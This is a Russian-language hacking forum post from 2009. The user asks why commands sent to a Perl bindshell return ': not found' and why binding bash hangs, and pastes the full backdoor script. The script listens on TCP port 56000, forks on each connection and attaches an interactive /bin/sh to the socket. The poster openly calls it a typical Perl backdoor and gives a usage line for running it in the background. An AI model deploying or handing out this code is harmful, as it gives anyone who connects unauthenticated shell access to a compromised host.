Форум АНТИЧАТ - Нюансы в perl bindshells

Нюансы в perl bindshells

20.12.2009, 07:30

Snake Plissken

Новичок

Регистрация: 07.07.2008

Сообщений: 22

Провел на форуме:
64581

Репутация: 0

Нюансы в perl bindshells

Столкнулся с таким вот явлением. В perl биндшеллах когда подключаешься и отправляешь команды, то тебе возвращается ": not found". И после каждой команды приходится точку с запятой лепить. Кроме того, когда пробую привязать bash в биндшелле, то при подключении он просто подвисает и ничего не происходит. Кто с этим встречался и как это решить?

Вот код среднестатистического бэкдора на перл

Код:

#!/usr/bin/perl
  #bindshell.pl
  #Usage: perl bindshell.pl &
  use Socket;
  $p=56000;
  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')  );
  setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
  bind(S,sockaddr_in($p,INADDR_ANY));
  listen(S,50);
  while(1)
  {
  accept(X,S);
  if(!($pid=fork)){
  if(!defined $pid){exit(0);}
  open STDIN,"<&X";
  open STDOUT,">&X";
  open STDERR,">&X";
  exec("/bin/sh -i");
  close X;
  }
  }